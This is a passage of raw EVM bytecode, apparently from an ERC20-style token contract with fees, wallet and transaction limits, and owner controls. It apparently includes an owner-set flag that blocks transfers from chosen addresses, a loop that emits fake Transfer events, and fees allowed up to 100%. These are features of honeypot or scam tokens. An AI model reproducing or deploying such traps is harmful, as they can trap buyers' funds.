801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613af8565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a9190613a06565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c7d565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cde565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b13565b611c9e565b005b6060600380546109f590613d36565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d36565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b6000600254905090565b600c5481565b6000610ab3848484611f20565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afe611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590613dd9565b60405180910390fd5b610b9285610b8a611d4f565b858403611d57565b60019150509392505050565b610ba6612b8c565b60005b83839050811015610c7557838382818110610bc757610bc6613df9565b5b9050602002016020810190610bdc9190613a06565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c5a91906137ea565b60405180910390a38080610c6d90613e57565b915050610ba9565b50505050565b610c83612b8c565b6001601260006101000a81548160ff0219169083151502179055506000600b60006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b600b60029054906101000a900460ff1681565b60006009905090565b600080600080600b60009054906101000a900460ff169350600b60019054906101000a900460ff169250600f549150601054905090919293565b6000610de6610d51611d4f565b848460016000610d5f611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de19190613e9f565b611d57565b6001905092915050565b601260009054906101000a900460ff1681565b610e0b612b8c565b6005811015610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4690613f67565b60405180910390fd5b6103e8610e5a610a96565b82610e659190613f87565b610e6f9190614010565b600f819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610ea691906137ea565b60405180910390a150565b610eb9612b8c565b8160158190555080601681905550601654601554610ed79190613e9f565b60148190555060646014541115610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a906140b3565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601454601554601654604051610f5c939291906140d3565b60405180910390a15050565b610f70612b8c565b6002811015610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90614156565b60405180910390fd5b6103e8610fbf610a96565b82610fca9190613f87565b610fd49190614010565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a60105460405161100b91906137ea565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066612b8c565b6110706000612c0a565b565b61107a612b8c565b6102588310156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906141e8565b60405180910390fd5b6103e882111580156110d2575060008210155b611111576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111089061427a565b60405180910390fd5b82600d8190555081600c8190555080600b60026101000a81548160ff021916908315150217905550505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461119d90613d36565b80601f01602080910402602001604051908101604052809291908181526020018280546111c990613d36565b80156112165780601f106111eb57610100808354040283529160200191611216565b820191906000526020600020905b8154815290600101906020018083116111f957829003601f168201915b5050505050905090565b611228612b8c565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112f0612b8c565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113779061430c565b60405180910390fd5b61138a8282612cd0565b5050565b611396612b8c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161143391906137c0565b60405180910390a25050565b611447612b8c565b81601881905550806019819055506019546018546114659190613e9f565b601781905550606460175411156114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a89061439e565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16017546018546019546040516114ea939291906140d3565b60405180910390a15050565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806001600061155b611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160f90614430565b60405180910390fd5b61162c611623611d4f565b85858403611d57565b600191505092915050565b600e5481565b600061165161164a611d4f565b8484611f20565b6001905092915050565b611663612b8c565b60005b838390508110156117025781601f600086868581811061168957611688613df9565b5b905060200201602081019061169e9190613a06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806116fa90613e57565b915050611666565b50505050565b611710612b8c565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8612b8c565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824612b8c565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f906144c2565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614554565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610a96565b6118db9190613f87565b6118e59190614010565b600981905550612710816118f7610a96565b6119019190613f87565b61190b9190614010565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613ab2565b60405180910390a1505050565b611959612b8c565b6000600b60006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b612b8c565b6000600b60016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3612b8c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145e6565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601454955060155494506016549350601754925060185491506019549050909192939495565b600080601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6612b8c565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137c0565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614678565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c9061470a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906137ea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f869061479c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff59061482e565b60405180910390fd5b600081036120175761201283836000612d71565b612b87565b600b60009054906101000a900460ff16156126dc57612034611164565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a25750612072611164565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120db5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612115575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212e5750600860149054906101000a900460ff16155b156126db57601260009054906101000a900460ff1661222857601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e85750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221e906148c0565b60405180910390fd5b5b600b60019054906101000a900460ff16156123f257612245611164565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cc57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123265750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123f15743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a390614978565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124955750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561253c576010548111156124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d690614a0a565b60405180910390fd5b600f546124eb83611016565b826124f69190613e9f565b1115612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614a76565b60405180910390fd5b6126da565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125df5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561262e57601054811115612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090614b08565b60405180910390fd5b6126d9565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126d857600f5461268b83611016565b826126969190613e9f565b11156126d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ce90614a76565b60405180910390fd5b5b5b5b5b5b60006126e730611016565b90506000600954821015905080801561270c5750600860159054906101000a900460ff165b80156127255750600860149054906101000a900460ff16155b801561277b5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127d15750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128275750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561286b576001600860146101000a81548160ff02191690831515021790555061284f612ff0565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129215750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561292b57600090505b60008115612b3e57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561298e57506000601754115b15612a28576129bb60646129ad601754886131ae90919063ffffffff16565b6131c490919063ffffffff16565b9050601754601954826129ce9190613f87565b6129d89190614010565b601b60008282546129e99190613e9f565b9250508190555060175460185482612a019190613f87565b612a0b9190614010565b601a6000828254612a1c9190613e9f565b92505081905550612b1a565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a8357506000601454115b15612b1957612ab06064612aa2601454886131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060145460165482612ac39190613f87565b612acd9190614010565b601b6000828254612ade9190613e9f565b9250508190555060145460155482612af69190613f87565b612b009190614010565b601a6000828254612b119190613e9f565b925050819055505b5b6000811115612b2f57612b2e873083612d71565b5b8085612b3b9190614b28565b94505b600860149054906101000a900460ff16158015612b675750600b60029054906101000a900460ff165b15612b7757612b75876131da565b505b612b82878787612d71565b505050505b505050565b612b94611d4f565b73ffffffffffffffffffffffffffffffffffffffff16612bb26132dd565b73ffffffffffffffffffffffffffffffffffffffff1614612c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bff90614ba8565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd79061479c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e469061482e565b60405180910390fd5b612e5a8383836132f1565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed790614c3a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f739190613e9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612fd791906137ea565b60405180910390a3612fea8484846132f6565b50505050565b6000612ffb30611016565b905060008190506000808303613013575050506131ac565b600a5483111561302357600a5492505b60008390506000479050613036826132fb565b600061304b824761353890919063ffffffff16565b9050600061307686613068601b54856131ae90919063ffffffff16565b6131c490919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130ce90614c8b565b60006040518083038185875af1925050503d806000811461310b576040519150601f19603f3d011682016040523d82523d6000602084013e613110565b606091505b505080955050601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161315c90614c8b565b60006040518083038185875af1925050503d8060008114613199576040519150601f19603f3d011682016040523d82523d6000602084013e61319e565b606091505b505080955050505050505050505b565b600081836131bc9190613f87565b905092915050565b600081836131d29190614010565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016132169190613af8565b602060405180830381865afa158015613233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132579190614cb5565b90506000613270600c548361354e90919063ffffffff16565b9050601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132d257600081146132d157600080fd5b5b600192505050919050565b6000806132e8613564565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561331857613317614ce2565b5b6040519080825280602002602001820160405280156133465781602001602082028036833780820191505090505b509050308160008151811061335e5761335d613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613403573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134279190614d26565b8160018151811061343b5761343a613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506134a0307f000000000000000000000000000000000000000000000000000000000000000084611d57565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613502959493929190614e56565b600060405180830381600087803b15801561351c57600080fd5b505af1158015613530573d6000803e3d6000fd5b505050505050565b600081836135469190614b28565b905092915050565b6000818361355c9190613e9f565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146135e357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613607565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b83811115613655576000848401525b50505050565b6000601f19601f8301169050919050565b60006136778261360c565b6136818185613617565b9350613691818560208601613628565b61369a8161365b565b840191505092915050565b600060208201905081810360008301526136bf818461366c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136fc826136d1565b9050919050565b61370c816136f1565b811461371757600080fd5b50565b60008135905061372981613703565b92915050565b6000819050919050565b6137428161372f565b811461374d57600080fd5b50565b60008135905061375f81613739565b92915050565b6000806040838503121561377c5761377b6136c7565b5b600061378a8582860161371a565b925050602061379b85828601613750565b9150509250929050565b60008115159050919050565b6137ba816137a5565b82525050565b60006020820190506137d560008301846137b1565b92915050565b6137e48161372f565b82525050565b60006020820190506137ff60008301846137db565b92915050565b60008060006060848603121561381e5761381d6136c7565b5b600061382c8682870161371a565b935050602061383d8682870161371a565b925050604061384e86828701613750565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261387d5761387c613858565b5b8235905067ffffffffffffffff81111561389a5761389961385d565b5b6020830191508360208202830111156138b6576138b5613862565b5b9250929050565b6000806000604084860312156138d6576138d56136c7565b5b600084013567ffffffffffffffff8111156138f4576138f36136cc565b5b61390086828701613867565b9350935050602061391386828701613750565b9150509250925092565b600060ff82169050919050565b6139338161391d565b82525050565b600060208201905061394e600083018461392a565b92915050565b600060808201905061396960008301876137b1565b61397660208301866137b1565b61398360408301856137db565b61399060608301846137db565b95945050505050565b6000602082840312156139af576139ae6136c7565b5b60006139bd84828501613750565b91505092915050565b600080604083850312156139dd576139dc6136c7565b5b60006139eb85828601613750565b92505060206139fc85828601613750565b9150509250929050565b600060208284031215613a1c57613a1b6136c7565b5b6000613a2a8482850161371a565b91505092915050565b613a3c816137a5565b8114613a4757600080fd5b50565b600081359050613a5981613a33565b92915050565b600080600060608486031215613a7857613a776136c7565b5b6000613a8686828701613750565b9350506020613a9786828701613750565b9250506040613aa886828701613a4a565b9150509250925092565b6000606082019050613ac760008301866137b1565b613ad460208301856137db565b613ae160408301846137db565b949350505050565b613af2816136f1565b82525050565b6000602082019050613b0d6000830184613ae9565b92915050565b60008060408385031215613b2a57613b296136c7565b5b6000613b388582860161371a565b9250506020613b4985828601613a4a565b9150509250929050565b600080600060408486031215613b6c57613b6b6136c7565b5b600084013567ffffffffffffffff811115613b8a57613b896136cc565b5b613b9686828701613867565b93509350506020613ba986828701613a4a565b9150509250925092565b600080600060608486031215613bcc57613bcb6136c7565b5b6000613bda86828701613a4a565b9350506020613beb86828701613750565b9250506040613bfc86828701613750565b9150509250925092565b60008060408385031215613c1d57613c1c6136c7565b5b6000613c2b8582860161371a565b9250506020613c3c8582860161371a565b9150509250929050565b6000606082019050613c5b60008301866137b1565b613c6860208301856137b1565b613c7560408301846137b1565b949350505050565b600060c082019050613c9260008301896137db565b613c9f60208301886137db565b613cac60408301876137db565b613cb960608301866137db565b613cc660808301856137db565b613cd360a08301846137db565b979650505050505050565b6000604082019050613cf36000830185613ae9565b613d006020830184613ae9565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d4e57607f821691505b602082108103613d6157613d60613d07565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613dc3602883613617565b9150613dce82613d67565b604082019050919050565b60006020820190508181036000830152613df281613db6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e628261372f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613e9457613e93613e28565b5b600182019050919050565b6000613eaa8261372f565b9150613eb58361372f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613eea57613ee9613e28565b5b828201905092915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f51602483613617565b9150613f5c82613ef5565b604082019050919050565b60006020820190508181036000830152613f8081613f44565b9050919050565b6000613f928261372f565b9150613f9d8361372f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd657613fd5613e28565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061401b8261372f565b91506140268361372f565b92508261403657614035613fe1565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b600061409d602883613617565b91506140a882614041565b604082019050919050565b600060208201905081810360008301526140cc81614090565b9050919050565b60006060820190506140e860008301866137db565b6140f560208301856137db565b61410260408301846137db565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b6000614140602083613617565b915061414b8261410a565b602082019050919050565b6000602082019050818103600083015261416f81614133565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b60006141d2603383613617565b91506141dd82614176565b604082019050919050565b60006020820190508181036000830152614201816141c5565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614264603083613617565b915061426f82614208565b604082019050919050565b6000602082019050818103600083015261429381614257565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006142f6603983613617565b91506143018261429a565b604082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614388602983613617565b91506143938261432c565b604082019050919050565b600060208201905081810360008301526143b78161437b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061441a602583613617565b9150614425826143be565b604082019050919050565b600060208201905081810360008301526144498161440d565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b60006144ac603483613617565b91506144b782614450565b604082019050919050565b600060208201905081810360008301526144db8161449f565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b600061453e602a83613617565b9150614549826144e2565b604082019050919050565b6000602082019050818103600083015261456d81614531565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006145d0602683613617565b91506145db82614574565b604082019050919050565b600060208201905081810360008301526145ff816145c3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614662602483613617565b915061466d82614606565b604082019050919050565b6000602082019050818103600083015261469181614655565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006146f4602283613617565b91506146ff82614698565b604082019050919050565b60006020820190508181036000830152614723816146e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614786602583613617565b91506147918261472a565b604082019050919050565b600060208201905081810360008301526147b581614779565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614818602383613617565b9150614823826147bc565b604082019050919050565b600060208201905081810360008301526148478161480b565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b60006148aa602283613617565b91506148b58261484e565b604082019050919050565b600060208201905081810360008301526148d98161489d565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000614962604983613617565b915061496d826148e0565b606082019050919050565b6000602082019050818103600083015261499181614955565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b60006149f4602683613617565b91506149ff82614998565b604082019050919050565b60006020820190508181036000830152614a23816149e7565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614a60601383613617565b9150614a6b82614a2a565b602082019050919050565b60006020820190508181036000830152614a8f81614a53565b